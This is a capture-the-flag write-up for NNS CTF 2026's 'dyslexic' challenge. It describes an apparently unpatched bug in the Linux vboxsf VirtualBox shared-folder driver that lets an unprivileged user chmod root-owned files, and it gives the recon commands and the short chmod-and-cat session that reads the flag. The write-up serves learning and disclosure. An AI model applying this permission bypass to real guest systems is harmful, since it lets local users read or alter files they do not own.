dyslexic

`vboxsf` is a client filesystem — the guest trusts the host's SHFL RPC responses without validating them

2026.09.30 NNS CTF 2026 127 pts Misc
FLAG NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}

Author: hoover, 0xle Points: 127 Flag: NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}

Description

I can’t read

Note: The flag is located at /challenge/flag.txt

Note: This is a 0day challenge and we are hoping you keep th{is|ese} 0day{|s} to yourself until the vulnerabilit{y|ies} {is|are} patched.

Connect via the instancer:

ncat --ssl dyslexic-<id>.chall.nnsc.tf 1337

No source files are provided — this is a pure black-box instancer challenge.

Recon

Connecting drops straight into a bash-5.2$ shell as an unprivileged user:

$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -la /challenge
-rw-------    1 root     root            64 Sep  4 19:52 flag.txt
$ cat /challenge/flag.txt
cat: can't open '/challenge/flag.txt': Permission denied

So the flag is a normal root:root 0600 file — we need some way to read a root-owned file as an unprivileged user.

Further recon shows this is a real VM, not a container:

$ uname -a
Linux (none) 6.8.0-136-generic #136-Ubuntu SMP ... x86_64 GNU/Linux
$ cat /proc/modules
vboxsf 45056 1 - Live 0x0000000000000000
vboxguest 57344 1 vboxsf, Live 0x0000000000000000
$ cat /proc/self/mountinfo
... 26 1 0:23 / /challenge rw,nodev,relatime - vboxsf challenge rw
$ cat /init
...
insmod /lib/modules/vboxguest.ko || fail_closed 'vboxguest load failed'
insmod /lib/modules/vboxsf.ko   || fail_closed 'vboxsf load failed'
/bin/mount.vboxsf -o uid=0,gid=0 challenge /challenge || fail_closed 'vboxsf mount failed'
...
setsid -c su -s /bin/bash ctf </dev/ttyS0 >/dev/ttyS0 2>&1

Important observations:

  • /challenge is a VirtualBox Shared Folder (vboxsf), mounted with uid=0,gid=0 so every file on it appears root-owned to the guest.
  • There is no setuid binary anywhere on the box (find / -perm -4000 returns nothing), no other root process to attack, and /proc/self/status confirms real/effective/saved/fs uid are all 1000 — no leftover privileges to reclaim.
  • /dev/vboxguest and /dev/vboxuser (the HGCM device nodes used to talk directly to the hypervisor) are crw------- root-only, so we can’t bypass the kernel driver and talk to the host service directly.
  • /lib/modules/vboxsf.ko and vboxguest.ko are world-readable and not stripped. Pulling them down and checking nm/strings shows this is a stock, unmodified upstream fs/vboxsf build (vermagic=6.8.0-136-generic, normal symbol set) — so the bug isn’t a custom backdoor planted in the module, it’s a genuine bug in the real vboxsf driver.

This rules out every “normal” privesc vector (SUID, sudo, cron, leaked fds, writable /proc/sys, symlink races on writable directories, etc.) and points straight at the shared-folder client itself.

The bug

vboxsf is a client filesystem: every syscall against /challenge gets translated by fs/vboxsf/*.c into an SHFL RPC (vboxsf_call) sent over HGCM to the VBoxSharedFolders service on the host. The guest kernel is supposed to gate these calls with the normal Linux permission checks (inode_permission()/notify_change()) before ever issuing the RPC.

That gating is missing for setattr (i.e. chmod/chown/truncate via vboxsf_setattr). As a completely unprivileged user we can chmod a file we don’t own and have zero permission bits on:

$ chmod 666 /challenge/flag.txt; echo $?
0
$ ls -la /challenge/flag.txt
-rw-rw-rw-    1 root     root            64 Sep  4 19:52 flag.txt
$ cat /challenge/flag.txt
NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}

Normally, the VFS’s notify_change() path requires either ownership of the inode or CAP_FOWNER before a filesystem’s ->setattr is even invoked. On this build, the check that should block chmod from a non-owner UID against a vboxsf-backed inode doesn’t fire, so the request goes straight through to the host side, which happily updates the mode. Once the mode bits are world-writable/readable, a plain cat reads the flag.

The flag itself spells out the root cause: vBoxsF not CheckiNG setattr is weird after all these years.

Exploit (full session)

ncat --ssl dyslexic-<id>.chall.nnsc.tf 1337
chmod 666 /challenge/flag.txt
cat /challenge/flag.txt
# NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}

That’s it — one chmod as an unprivileged user against a root-owned file on the vboxsf share, then a plain cat.

Root cause / takeaway

  • vboxsf’s setattr path (fs/vboxsf/utils.c / super.c in upstream Linux) doesn’t enforce the caller-owns-the-inode-or-has-CAP_FOWNER invariant that every other Linux filesystem relies on the VFS to provide, and evidently doesn’t double-check it itself either — so any local user can rewrite the permission bits (and, per the note in the challenge description, possibly more attributes) of any file on a shared folder, regardless of ownership.
  • This works purely as an unprivileged guest user; no kernel exploit primitives, no host escape, no race condition needed — just calling chmod on a file you don’t own and watching it succeed.
  • Lesson: don’t assume a “just relays to the host” filesystem client still re-derives and enforces standard POSIX permission semantics on the guest side — it has to explicitly re-implement that gate, and here it didn’t for setattr.

Tooling note

Because the instancer connects over ncat --ssl host:1337 straight to a serial console (/dev/ttyS0), a plain openssl s_client one-shot pipe drops the connection mid-handshake under load; a small persistent Python ssl.wrap_socket client that reads until the bash-5.2$ prompt reappears before sending the next line works reliably. Also worth noting: the very first character sent right after connecting is sometimes swallowed by the serial link, so prefixing every command with a harmless true; avoids accidentally executing a truncated command.

#0day